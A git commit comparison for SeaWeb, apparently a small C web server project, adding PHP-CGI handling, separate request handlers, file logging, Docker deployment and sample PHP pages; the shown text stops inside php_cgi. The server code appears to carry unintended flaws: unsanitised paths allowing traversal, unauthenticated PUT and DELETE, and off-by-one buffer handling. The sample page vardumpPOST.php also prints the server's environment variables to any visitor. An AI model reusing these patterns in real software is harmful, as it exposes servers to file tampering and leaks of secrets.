Compare commits
6 Commits
master
...
f1ae49da0c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f1ae49da0c | ||
|
|
857a38d904 | ||
|
|
2ab5bc546c | ||
|
|
3e24a96f9a | ||
|
|
ba56d0e471 | ||
|
|
140193bbaf |
@@ -4,17 +4,19 @@ ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
RUN apt-get update && \
|
||||
apt-get install \
|
||||
-y openssl libssl-dev make gcc pkg-config
|
||||
-y openssl libssl-dev make gcc pkg-config php php-cgi
|
||||
|
||||
COPY Makefile /src/
|
||||
COPY src/ /src/src/
|
||||
COPY cmd/ /src/cmd/
|
||||
COPY include/ /src/include/
|
||||
COPY ca/ /src/ca/
|
||||
COPY entrypoint.sh /
|
||||
|
||||
COPY content/ /var/www/html
|
||||
|
||||
RUN mkdir -p /var/log/seaweb
|
||||
RUN touch /var/log/seaweb/log
|
||||
|
||||
WORKDIR /src/
|
||||
|
||||
@@ -25,3 +27,6 @@ RUN printf "y\ny\n" | make genCerts
|
||||
|
||||
EXPOSE 8080/tcp
|
||||
|
||||
CMD ["--verbose"]
|
||||
ENTRYPOINT ["/bin/bash", "/entrypoint.sh"]
|
||||
|
||||
|
||||
5
Makefile
5
Makefile
@@ -40,7 +40,10 @@ dockerBuild: output_dir
|
||||
docker build . -t seaweb:latest
|
||||
|
||||
dockerTestDeploy: dockerBuild
|
||||
docker run -p8080:8080 --rm seaweb:latest seaweb &
|
||||
docker run -p8080:8080 --rm -d seaweb:latest
|
||||
|
||||
dockerReleaseDeploy: dockerBuild
|
||||
docker run -p8080:8080 --rm -d seaweb:latest --cert /src/certs/cert.pem --privkey /src/certs/key.pem --verbose
|
||||
|
||||
killTestDocker:
|
||||
docker stop -t 0 `docker ps | grep "seaweb:latest" | tail -n 1 | tr -s " " | cut -d " " -f 1`
|
||||
|
||||
28
README.md
Normal file
28
README.md
Normal file
@@ -0,0 +1,28 @@
|
||||
# SeaWeb
|
||||
|
||||
## Running
|
||||
|
||||
It is recommended to run this application using Docker.
|
||||
For a deployment running the application without HTTPS run `make dockerTestDeploy`, this will open a socket on port 8080.
|
||||
For a deployment running the application with HTTPS run `make dockerReleaseDeploy`, this will also open a socket on port 8080.
|
||||
Running `make killTestDocker` will kill the running instance of seaweb:latest running in Docker.
|
||||
To view logs within the running container run `docker exec -it $(docker ps | grep "seaweb:latest" | grep -o '[^ ]*$') tail -f /var/log/seaweb/log`, or manually view the `/var/log/seaweb/log` file.
|
||||
|
||||
If you run this application without Docker please ensure the OpenSSL development headers are installed onto your system, this will be important if running with HTTPS.
|
||||
|
||||
To build this application outside of Docker run `make`, and the binary will be build into `./bin`.
|
||||
Running `./bin/seaweb --help` or `./bin/seaweb -h` will show you the help message for the application showing all possible options.
|
||||
|
||||
By default the application is compiled to utilize `/var/www/html` as the WEB root, and will output logs to `/var/log/seaweb/log`; if running the application outside of Docker please ensure this is setup with correct permissions to run.
|
||||
|
||||
## Notes
|
||||
|
||||
- All new connections will spawn a child process which is used to deal with the request
|
||||
- If the process takes longer than 5 seconds to resolve the request, the child process will be killed
|
||||
- Running `make genCerts` will generate a root authority and generate certificates to utilize for the web server
|
||||
- Certificate authority related files start with `ca` while the certificates which should be utilized for the web server omit the `ca`
|
||||
- Making a request to the web server which does not match the current protocol (e.g. making a https request when it is server http) will result in the server ignoring the request
|
||||
- Returning an error here is not possible since if we have a none SSL socket created we cannot respond to a SSL request
|
||||
- This will cause a fork of the process to spawn which will be killed in 5 seconds after the timeout is met
|
||||
- If a request to the root directory is made, `/`, it is assumed that the user was trying to navigate to `/index.html` and the request will be treated as such
|
||||
|
||||
203
cmd/server.c
203
cmd/server.c
@@ -15,13 +15,15 @@
|
||||
#include "returnRequest.h"
|
||||
#include "server.h"
|
||||
#include "utils.h"
|
||||
#include "requestHandlers.h"
|
||||
|
||||
//#define WEB_ROOT "/var/www/html/"
|
||||
#define WEB_ROOT "content/"
|
||||
#define WEB_ROOT "/var/www/html/"
|
||||
//#define WEB_ROOT "content/"
|
||||
#define BUFF_READ 1024
|
||||
|
||||
static int verbose_flag = 0;
|
||||
bool enableHTTPS = 0;
|
||||
char *WEB_ROOT_DIR = NULL;
|
||||
|
||||
static int timeout = 0;
|
||||
|
||||
@@ -38,11 +40,16 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
||||
int line = 0;
|
||||
int contentCheck = 0;
|
||||
unsigned char *checkLine = calloc(1000, sizeof(unsigned char));
|
||||
size_t checkLineLen = 0;
|
||||
unsigned char *logLine = malloc(sizeof(unsigned char));
|
||||
char * varCheck;
|
||||
|
||||
// Creating empty requestBody
|
||||
r->requestBody = calloc(8, sizeof(char));
|
||||
r->requestBody = malloc(sizeof(char));
|
||||
r->requestBodyLen = 0;
|
||||
r->requestVars = malloc(sizeof(char));
|
||||
memset(r->requestBody, 0, sizeof(char));
|
||||
memset(r->requestVars, 0, sizeof(char));
|
||||
|
||||
for (int i = 0; i <= strlen((char *)buffer); i++) {
|
||||
temp[0] = buffer[i];
|
||||
@@ -56,7 +63,7 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
||||
// HTTP Request Type
|
||||
if ((!strcmp(token, "GET")) || (!strcmp(token, "POST")) ||
|
||||
(!strcmp(token, "PUT")) || (!strcmp(token, "DELETE")) ||
|
||||
(!strcmp(token, "CONNECT"))) {
|
||||
(!strcmp(token, "CONNECT")) || (!strcmp(token, "HEAD"))) {
|
||||
// Grabbing HTTP Request Type
|
||||
r->requestType = malloc(strlen(token));
|
||||
strcpy(r->requestType, token);
|
||||
@@ -81,11 +88,15 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
||||
PrintLog(logLine);
|
||||
} else { // Gather information on >first line
|
||||
if (contentCheck) { // Once content check is set to one everything after is part of the body
|
||||
printf("Check Line: %s\n", checkLine);
|
||||
r->requestBody = realloc(r->requestBody,
|
||||
(strlen((char *)checkLine) + strlen((char *)r->requestBody) + 1));
|
||||
(checkLineLen + r->requestBodyLen + 2));
|
||||
strcat((char *)r->requestBody, (char *)checkLine);
|
||||
// Adding newline to requestBody
|
||||
sprintf((char *)r->requestBody, "%s\n", r->requestBody);
|
||||
strcat((char *)r->requestBody, "\n");
|
||||
r->requestBodyLen += checkLineLen + 2;
|
||||
printf("Size: %zu\nCheck Size: %zu\n", r->requestBodyLen, checkLineLen);
|
||||
printf("Req:\n%s\n", r->requestBody);
|
||||
} else { // Information parsing !content
|
||||
if (strlen((char *)checkLine) == 1) { // Looking for blank empty line to end header info
|
||||
contentCheck = 1;
|
||||
@@ -96,16 +107,30 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
||||
token = strtok(NULL, "");
|
||||
r->requestHost = malloc(strlen(token));
|
||||
strcpy(r->requestHost, token);
|
||||
} else if (!strcmp(token, "Content-Type")) {
|
||||
token = strtok(NULL, ":");
|
||||
r->requestConType = malloc(strlen(token));
|
||||
strcpy(r->requestConType, token);
|
||||
} else if (!strcmp(token, "Content-Length")) {
|
||||
token = strtok(NULL, ":");
|
||||
if (token == NULL) {
|
||||
printDebug("Content-length parsing error");
|
||||
return -1;
|
||||
}
|
||||
r->requestConLen = malloc(strlen(token));
|
||||
strcpy(r->requestConLen, token);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (strlen((char *)checkLine) > 0) {
|
||||
// Clear checkLine
|
||||
memset(checkLine,0,strlen((char *)checkLine));
|
||||
checkLineLen = 0;
|
||||
}
|
||||
line++;
|
||||
} else {
|
||||
strcat((char *)checkLine, temp);
|
||||
checkLineLen++;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -120,154 +145,48 @@ int parseHTTPRequest(unsigned char *buffer, struct HTTPRequest *r) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||
char errResponse[256];
|
||||
char ch;
|
||||
size_t size = 8;
|
||||
int i = 0;
|
||||
unsigned char *fileContent = calloc(size, sizeof(unsigned char));
|
||||
FILE *fp;
|
||||
char *workingReqDir;
|
||||
// If requesting root directory change to index.html
|
||||
if (!strcmp(r->requestDir, "/")) {
|
||||
workingReqDir = "index.html";
|
||||
} else {
|
||||
workingReqDir = r->requestDir;
|
||||
}
|
||||
char *reqDir = calloc((strlen(WEB_ROOT) + strlen(workingReqDir) + 1), sizeof(char));
|
||||
|
||||
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
|
||||
|
||||
fp = fopen(reqDir, "r");
|
||||
|
||||
if (fp == NULL) {
|
||||
sprintf(errResponse, "Error opening file: %s", workingReqDir);
|
||||
printDebug(errResponse);
|
||||
return404Request(socket, ssl);
|
||||
return -1;
|
||||
}
|
||||
|
||||
while((ch = fgetc(fp)) != EOF) {
|
||||
if (i == size) {
|
||||
size *= 2;
|
||||
fileContent = realloc(fileContent, size);
|
||||
}
|
||||
fileContent[i] = ch;
|
||||
i++;
|
||||
}
|
||||
|
||||
return200Request(socket, fileContent, ssl);
|
||||
|
||||
fclose(fp);
|
||||
free(reqDir);
|
||||
free(fileContent);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||
FILE *fp;
|
||||
char *reqDir;
|
||||
char * workingReqDir;
|
||||
char errResponse[256];
|
||||
|
||||
if (!strcmp(r->requestDir, "/")) {
|
||||
workingReqDir = "index.html";
|
||||
} else {
|
||||
workingReqDir = r->requestDir;
|
||||
}
|
||||
|
||||
reqDir = calloc(strlen(WEB_ROOT) + strlen(workingReqDir), sizeof(char));
|
||||
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
|
||||
|
||||
fp = fopen(reqDir, "w");
|
||||
if (fp == NULL) {
|
||||
sprintf(errResponse, "Error opening file: %s", workingReqDir);
|
||||
printDebug(errResponse);
|
||||
return return404Request(socket, ssl);
|
||||
}
|
||||
|
||||
fprintf(fp, "%s", r->requestBody);
|
||||
|
||||
free(reqDir);
|
||||
fclose(fp);
|
||||
return return201Request(socket, r->requestBody, ssl);
|
||||
}
|
||||
|
||||
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||
char *reqDir;
|
||||
char * workingReqDir;
|
||||
char logLine[256];
|
||||
|
||||
if (!strcmp(r->requestDir, "/")) {
|
||||
workingReqDir = "index.html";
|
||||
} else {
|
||||
workingReqDir = r->requestDir;
|
||||
}
|
||||
|
||||
reqDir = calloc(strlen(WEB_ROOT) + strlen(workingReqDir), sizeof(char));
|
||||
sprintf(reqDir, "%s%s", WEB_ROOT, workingReqDir);
|
||||
|
||||
if (remove(reqDir) == 0) {
|
||||
sprintf(logLine, "Deleted file");
|
||||
free(reqDir);
|
||||
return return200Request(socket, NULL, ssl);
|
||||
} else {
|
||||
printDebug("Failed to delete file");
|
||||
free(reqDir);
|
||||
if (errno == 1) { // Permission denided
|
||||
return return403Request(socket, ssl);
|
||||
} else { // Catch all (likely file != exist)
|
||||
return return404Request(socket, ssl);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||
return501Request(socket, ssl);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int handleRequest(unsigned char buffer[], int socket, SSL *ssl) {
|
||||
struct HTTPRequest r; // Holds relevant HTTP request information
|
||||
r.requestConLen = malloc(sizeof(char));
|
||||
r.requestConType = NULL;
|
||||
int checkerr = 0;
|
||||
|
||||
// Grabbing relevant information out of request
|
||||
checkerr = parseHTTPRequest(buffer, &r);
|
||||
if (checkerr != 0) { // Checking for HTTP parsing error
|
||||
printDebug("Error parsing...");
|
||||
if (checkerr == -1) {
|
||||
printDebug("Error reading request, returning empty 500");
|
||||
return return500Request(socket, ssl);
|
||||
return500Request(socket, ssl);
|
||||
} else {
|
||||
printDebug("Error parsing, returning 501");
|
||||
return return501Request(socket, ssl);
|
||||
return501Request(socket, ssl);
|
||||
}
|
||||
} else {
|
||||
checkerr = checkHTTPVersion(r.requestVersion);
|
||||
if (checkerr != 0) {
|
||||
return return505Request(socket, ssl);
|
||||
return505Request(socket, ssl);
|
||||
} else {
|
||||
if (!strcmp(r.requestType, "GET")) {
|
||||
handleGetRequest(socket, &r, ssl);
|
||||
} else if (!strcmp(r.requestType, "POST")) {
|
||||
handlePOSTRequest(socket, &r, ssl);
|
||||
} else if (!strcmp(r.requestType, "PUT")) {
|
||||
handlePUTRequest(socket, &r, ssl);
|
||||
} else if (!strcmp(r.requestType, "DELETE")) {
|
||||
handleDELETERequest(socket, &r, ssl);
|
||||
} else if (!strcmp(r.requestType, "CONNECT")) {
|
||||
return200Request(socket, NULL, ssl);
|
||||
} else if (!strcmp(r.requestType, "HEAD")) {
|
||||
return200Request(socket, NULL, ssl);
|
||||
} else {
|
||||
return500Request(socket, ssl);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!strcmp(r.requestType, "GET")) {
|
||||
handleGetRequest(socket, &r, ssl);
|
||||
return 0;
|
||||
} else if (!strcmp(r.requestType, "POST")) {
|
||||
handlePOSTRequest(socket, &r, ssl);
|
||||
return 0;
|
||||
} else if (!strcmp(r.requestType, "PUT")) {
|
||||
handlePUTRequest(socket, &r, ssl);
|
||||
return 0;
|
||||
} else if (!strcmp(r.requestType, "DELETE")) {
|
||||
handleDELETERequest(socket, &r, ssl);
|
||||
return 0;
|
||||
} else if (!strcmp(r.requestType, "CONNECT")) {
|
||||
return200Request(socket, NULL, ssl);
|
||||
return 0;
|
||||
} else {
|
||||
return500Request(socket, ssl);
|
||||
return 0;
|
||||
}
|
||||
free(r.requestConLen);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void timeoutChild(int sig) {
|
||||
@@ -295,6 +214,10 @@ int main(int argc, char **argv) {
|
||||
size_t bufSize = BUFF_READ;
|
||||
unsigned char *buffer = calloc(bufSize, sizeof(unsigned char));
|
||||
|
||||
// Copy WEB_ROOT into extern value
|
||||
WEB_ROOT_DIR = malloc(strlen(WEB_ROOT));
|
||||
strcpy(WEB_ROOT_DIR, WEB_ROOT);
|
||||
|
||||
// Setting up options
|
||||
static const struct option long_options[] = {
|
||||
{"help", no_argument, NULL, 'h'},
|
||||
@@ -394,7 +317,6 @@ int main(int argc, char **argv) {
|
||||
perror("Accept connection error");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Forking process
|
||||
pid_t pid;
|
||||
pid = fork();
|
||||
@@ -420,7 +342,7 @@ int main(int argc, char **argv) {
|
||||
} while(buffCont == 0);
|
||||
if (strlen((char *)buffer) != 0) {
|
||||
handleRequest(buffer, new_socket, ssl);
|
||||
buffer = calloc(bufSize, sizeof(unsigned char));
|
||||
free(buffer);
|
||||
} else {
|
||||
printDebug("Error reading from socket");
|
||||
}
|
||||
@@ -435,7 +357,7 @@ int main(int argc, char **argv) {
|
||||
} while(buffCont == 0);
|
||||
|
||||
handleRequest(buffer, new_socket, NULL);
|
||||
buffer = calloc(bufSize, sizeof(unsigned char));
|
||||
free(buffer);
|
||||
}
|
||||
exit(EXIT_SUCCESS);
|
||||
} else if (pid2 < 0) {
|
||||
@@ -464,11 +386,12 @@ int main(int argc, char **argv) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
free(privKeyFile);
|
||||
free(certFile);
|
||||
free(listenAddr);
|
||||
free(buffer);
|
||||
free(WEB_ROOT_DIR);
|
||||
close(server_fd);
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
|
||||
3
content/helloworld.php
Normal file
3
content/helloworld.php
Normal file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
print("Hello World")
|
||||
?>
|
||||
4
content/vardumpGET.php
Normal file
4
content/vardumpGET.php
Normal file
@@ -0,0 +1,4 @@
|
||||
<?php
|
||||
print("Hello World\n");
|
||||
var_dump($_GET);
|
||||
?>
|
||||
8
content/vardumpPOST.php
Normal file
8
content/vardumpPOST.php
Normal file
@@ -0,0 +1,8 @@
|
||||
<?php
|
||||
print("Hello World\n");
|
||||
$output=null;
|
||||
var_dump($_POST);
|
||||
exec('printenv', $output);
|
||||
print_r($output);
|
||||
var_dump($HTTP_RAW_POST_DATA);
|
||||
?>
|
||||
5
entrypoint.sh
Normal file
5
entrypoint.sh
Normal file
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
|
||||
exec seaweb "$@"
|
||||
@@ -8,5 +8,9 @@ struct HTTPRequest {
|
||||
char *requestHost;
|
||||
char *requestDir;
|
||||
char *requestVars;
|
||||
char *requestConType;
|
||||
char *requestConLen;
|
||||
unsigned char *requestBody;
|
||||
size_t requestBodyLen;
|
||||
};
|
||||
|
||||
|
||||
6
include/requestHandlers.h
Normal file
6
include/requestHandlers.h
Normal file
@@ -0,0 +1,6 @@
|
||||
|
||||
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl);
|
||||
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl);
|
||||
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl);
|
||||
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl);
|
||||
|
||||
@@ -9,8 +9,11 @@ int return400Request(int socket, SSL *ssl);
|
||||
int return403Request(int socket, SSL *ssl);
|
||||
int return404Request(int socket, SSL *ssl);
|
||||
int return411Request(int socket, SSL *ssl);
|
||||
int return418Request(int socket, SSL *ssl);
|
||||
|
||||
int return500Request(int socket, SSL *ssl);
|
||||
int return501Request(int socket, SSL *ssl);
|
||||
int return505Request(int socket, SSL *ssl);
|
||||
|
||||
int returnPHPRequest(int socket, char *content, SSL *ssl);
|
||||
|
||||
|
||||
@@ -1,4 +1,7 @@
|
||||
#include <stdbool.h>
|
||||
|
||||
extern bool enableHTTPS;
|
||||
int printDebug(char message[]);
|
||||
|
||||
extern bool enableHTTPS;
|
||||
extern char *WEB_ROOT_DIR;
|
||||
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
|
||||
int PrintLog(unsigned char *message);
|
||||
int checkHTTPVersion(char *version);
|
||||
char *php_cgi(char *sPath, struct HTTPRequest *r);
|
||||
|
||||
|
||||
177
src/requestHandlers.c
Normal file
177
src/requestHandlers.c
Normal file
@@ -0,0 +1,177 @@
|
||||
//#include <unistd.h>
|
||||
//#include <stdio.h>
|
||||
//#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <openssl/ssl.h>
|
||||
#include <errno.h>
|
||||
|
||||
#include "httpStruct.h"
|
||||
#include "returnRequest.h"
|
||||
#include "server.h"
|
||||
#include "utils.h"
|
||||
|
||||
int handleGetRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||
char errResponse[256];
|
||||
char ch;
|
||||
size_t size = 8;
|
||||
int i = 0;
|
||||
unsigned char *fileContent = calloc(size, sizeof(unsigned char));
|
||||
FILE *fp;
|
||||
char *workingReqDir;
|
||||
|
||||
char *phpReturn = NULL;
|
||||
char phpEnd[5] = ".php";
|
||||
bool endsWithPhp = false;
|
||||
if (strlen(phpEnd) <= strlen(r->requestDir)) {
|
||||
for (int i = 0; i < strlen(phpEnd); i++) {
|
||||
if (r->requestDir[i + strlen(r->requestDir) - strlen(phpEnd)] != phpEnd[i]) {
|
||||
endsWithPhp = false;
|
||||
break;
|
||||
}
|
||||
endsWithPhp = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (endsWithPhp) {
|
||||
phpReturn = php_cgi(r->requestDir, r);
|
||||
if (phpReturn != NULL) {
|
||||
return returnPHPRequest(socket, phpReturn, ssl);
|
||||
} else {
|
||||
return return500Request(socket, ssl);
|
||||
}
|
||||
}
|
||||
|
||||
// If requesting root directory change to index.html
|
||||
if (!strcmp(r->requestDir, "/")) {
|
||||
workingReqDir = "index.html";
|
||||
} else {
|
||||
workingReqDir = r->requestDir;
|
||||
}
|
||||
char *reqDir = calloc((strlen(WEB_ROOT_DIR) + strlen(workingReqDir) + 1), sizeof(char));
|
||||
|
||||
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
|
||||
|
||||
fp = fopen(reqDir, "r");
|
||||
|
||||
if (fp == NULL) {
|
||||
sprintf(errResponse, "Error opening file: %s", workingReqDir);
|
||||
printDebug(errResponse);
|
||||
return404Request(socket, ssl);
|
||||
return -1;
|
||||
}
|
||||
|
||||
while((ch = fgetc(fp)) != EOF) {
|
||||
if (i == size) {
|
||||
size *= 2;
|
||||
fileContent = realloc(fileContent, size);
|
||||
}
|
||||
fileContent[i] = ch;
|
||||
i++;
|
||||
}
|
||||
|
||||
return200Request(socket, fileContent, ssl);
|
||||
|
||||
fclose(fp);
|
||||
free(reqDir);
|
||||
free(fileContent);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int handlePUTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||
FILE *fp;
|
||||
char *reqDir;
|
||||
char * workingReqDir;
|
||||
char errResponse[256];
|
||||
|
||||
if (!strcmp(r->requestDir, "/")) {
|
||||
workingReqDir = "index.html";
|
||||
} else {
|
||||
workingReqDir = r->requestDir;
|
||||
}
|
||||
|
||||
reqDir = calloc(strlen(WEB_ROOT_DIR) + strlen(workingReqDir), sizeof(char));
|
||||
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
|
||||
|
||||
fp = fopen(reqDir, "w");
|
||||
if (fp == NULL) {
|
||||
sprintf(errResponse, "Error opening file: %s", workingReqDir);
|
||||
printDebug(errResponse);
|
||||
return return404Request(socket, ssl);
|
||||
}
|
||||
|
||||
fprintf(fp, "%s", r->requestBody);
|
||||
|
||||
free(reqDir);
|
||||
fclose(fp);
|
||||
return return201Request(socket, r->requestBody, ssl);
|
||||
}
|
||||
|
||||
int handleDELETERequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||
char *reqDir;
|
||||
char * workingReqDir;
|
||||
char logLine[256];
|
||||
|
||||
if (!strcmp(r->requestDir, "/")) {
|
||||
workingReqDir = "index.html";
|
||||
} else {
|
||||
workingReqDir = r->requestDir;
|
||||
}
|
||||
|
||||
reqDir = calloc(strlen(WEB_ROOT_DIR) + strlen(workingReqDir), sizeof(char));
|
||||
sprintf(reqDir, "%s%s", WEB_ROOT_DIR, workingReqDir);
|
||||
|
||||
if (remove(reqDir) == 0) {
|
||||
sprintf(logLine, "Deleted file");
|
||||
free(reqDir);
|
||||
return return200Request(socket, NULL, ssl);
|
||||
} else {
|
||||
printDebug("Failed to delete file");
|
||||
free(reqDir);
|
||||
if (errno == 1) { // Permission denided
|
||||
return return403Request(socket, ssl);
|
||||
} else { // Catch all (likely file != exist)
|
||||
return return404Request(socket, ssl);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int handlePOSTRequest(int socket, struct HTTPRequest *r, SSL *ssl) {
|
||||
char *phpReturn = NULL;
|
||||
// Supported data types application/x-www-form-urlencoded application/json
|
||||
if (r->requestConLen == NULL) { // Return 411 if length var not specified
|
||||
printDebug("Content Length was not sent in POST request");
|
||||
return return411Request(socket, ssl);
|
||||
}
|
||||
|
||||
if (r->requestConType != NULL) {
|
||||
if (!(strcmp(r->requestConType, "application/x-www-form-utlencoded") == 0)) {
|
||||
printDebug("Application From Selected");
|
||||
} else {
|
||||
printDebug("Content will likely get parsed wrong");
|
||||
}
|
||||
}
|
||||
|
||||
char phpEnd[5] = ".php";
|
||||
bool endsWithPhp = false;
|
||||
if (strlen(phpEnd) <= strlen(r->requestDir)) {
|
||||
for (int i = 0; i < strlen(phpEnd); i++) {
|
||||
if (r->requestDir[i + strlen(r->requestDir) - strlen(phpEnd)] != phpEnd[i]) {
|
||||
endsWithPhp = false;
|
||||
break;
|
||||
}
|
||||
endsWithPhp = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (endsWithPhp) {
|
||||
phpReturn = php_cgi(r->requestDir, r);
|
||||
if (phpReturn != NULL) {
|
||||
return returnPHPRequest(socket, phpReturn, ssl);
|
||||
}
|
||||
} else {
|
||||
return return200Request(socket, NULL, ssl);
|
||||
}
|
||||
return return500Request(socket, ssl);
|
||||
}
|
||||
|
||||
@@ -22,7 +22,7 @@ int return200Request(int socket, unsigned char *content, SSL *ssl) {
|
||||
char *message = "";
|
||||
if (content != NULL) {
|
||||
message = calloc(strlen((char *)content) + 128, sizeof(char));
|
||||
sprintf(message, "HTTP/1.1 200 OK\nContent-Length: %zu\nConnection: close\n\n%s\n",
|
||||
sprintf(message, "HTTP/1.1 200 OK\nContent-Length: %zu\nContent-Type: text/html\nConnection: close\n\n%s",
|
||||
strlen((char *)content), content);
|
||||
} else { // Sending empty response
|
||||
message = calloc(128, sizeof(char));
|
||||
@@ -39,6 +39,12 @@ int return201Request(int socket, char *content, SSL *ssl) {
|
||||
return returnRequest(socket, message, 201, ssl);
|
||||
}
|
||||
|
||||
int return400Request(int socket, SSL *ssl) {
|
||||
char *message = calloc(128, sizeof(char));
|
||||
sprintf(message, "HTTP/1.1 400 HTTP Request Not Valid\nContent-Length: 0\nConnection: close\n\n");
|
||||
return returnRequest(socket, message, 400, ssl);
|
||||
}
|
||||
|
||||
int return403Request(int socket, SSL *ssl) {
|
||||
char *message = calloc(128, sizeof(char));
|
||||
sprintf(message, "HTTP/1.1 403 Forbidden\nContent-Length: 0\nConnection: close\n\n");
|
||||
@@ -47,14 +53,20 @@ int return403Request(int socket, SSL *ssl) {
|
||||
|
||||
int return404Request(int socket, SSL *ssl) {
|
||||
char *message = calloc(128, sizeof(char));
|
||||
sprintf(message, "HTTP/1.1 404 Not Found\nContent-Length: 12\nConnection: close\n\n404 Request\n\n");
|
||||
sprintf(message, "HTTP/1.1 404 Not Found\nContent-Length: 13\nConnection: close\n\n404 Request\n\n");
|
||||
return returnRequest(socket, message, 404, ssl);
|
||||
}
|
||||
|
||||
int return400Request(int socket, SSL *ssl) {
|
||||
int return411Request(int socket, SSL *ssl) {
|
||||
char *message = calloc(128, sizeof(char));
|
||||
sprintf(message, "HTTP/1.1 400 HTTP Request Not Valid\nContent-Length: 0\nConnection: close\n\n");
|
||||
return returnRequest(socket, message, 400, ssl);
|
||||
sprintf(message, "HTTP/1.1 411 Length Required\nContent-Length: 0\nConnection: close\n\n");
|
||||
return returnRequest(socket, message, 411, ssl);
|
||||
}
|
||||
|
||||
int return418Request(int socket, SSL *ssl) {
|
||||
char *message=calloc(128, sizeof(char));
|
||||
sprintf(message, "HTTP/1.1 418 I'm a teapot\nContent-Length: 0\nConnection: close\n\n");
|
||||
return returnRequest(socket, message, 418, ssl);
|
||||
}
|
||||
|
||||
int return500Request(int socket, SSL *ssl) {
|
||||
@@ -74,3 +86,34 @@ int return505Request(int socket, SSL *ssl) {
|
||||
sprintf(message, "HTTP/1.1 505 HTTP Version Not Supported\nContent-Length: 0\nConnection: close\n\n");
|
||||
return returnRequest(socket, message, 505, ssl);
|
||||
}
|
||||
|
||||
int returnPHPRequest(int socket, char *content, SSL *ssl) {
|
||||
char *message = malloc(1024);
|
||||
memset(message, 0, 1024);
|
||||
char *line = malloc(1024);
|
||||
memset(line, 0, 1024);
|
||||
char temp[1];
|
||||
size_t lineNum = 0;
|
||||
for (int i = 0; i <= strlen(content); i++) {
|
||||
temp[0] = content[i];
|
||||
if (((!strcmp(temp, "\n")) && (i != 0)) || (i == strlen(content))) {
|
||||
if (lineNum != 0) {
|
||||
strcat(message, line);
|
||||
strcat(message, "\n");
|
||||
}
|
||||
if (strlen(line) > 0) {
|
||||
memset(line, 0, strlen(line));
|
||||
}
|
||||
lineNum++;
|
||||
} else {
|
||||
strcat(line, temp);
|
||||
}
|
||||
}
|
||||
|
||||
free(line);
|
||||
if (strlen(message) == 0) { // Return 500 on error parsing
|
||||
free(message);
|
||||
return return500Request(socket, ssl);
|
||||
}
|
||||
return return200Request(socket, (unsigned char *)message, ssl);
|
||||
}
|
||||
|
||||
116
src/utils.c
116
src/utils.c
@@ -1,6 +1,14 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <wait.h>
|
||||
|
||||
#include "server.h"
|
||||
#include "httpStruct.h"
|
||||
|
||||
#define BUFF_READ 1024
|
||||
|
||||
#define NUM_SUPPORTED_VERSIONS 2
|
||||
static char supportedHTTPVersions[NUM_SUPPORTED_VERSIONS][16] = {
|
||||
@@ -14,8 +22,17 @@ int PrintLog(unsigned char *message) {
|
||||
time(&UTCTime);
|
||||
struct tm *now = localtime(&UTCTime);
|
||||
|
||||
printf("[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
|
||||
if (!strcmp(WEB_ROOT_DIR, "/var/www/html/")) {
|
||||
FILE *fp;
|
||||
fp = fopen("/var/log/seaweb/log", "a");
|
||||
fprintf(fp, "[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
|
||||
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
|
||||
fclose(fp);
|
||||
} else {
|
||||
printf("[Log] %02d/%02d/%d %02d:%02d:%02d - %s\n", (now->tm_mon + 1), now->tm_mday,
|
||||
(now->tm_year + 1900), now->tm_hour, now->tm_min, now->tm_sec, message);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -30,3 +47,100 @@ int checkHTTPVersion(char *version) {
|
||||
}
|
||||
return supported;
|
||||
}
|
||||
|
||||
char *php_cgi(char *sPath, struct HTTPRequest *r) {
|
||||
int phpPipe[2];
|
||||
char *buf = NULL;
|
||||
size_t bufLen = 1024;
|
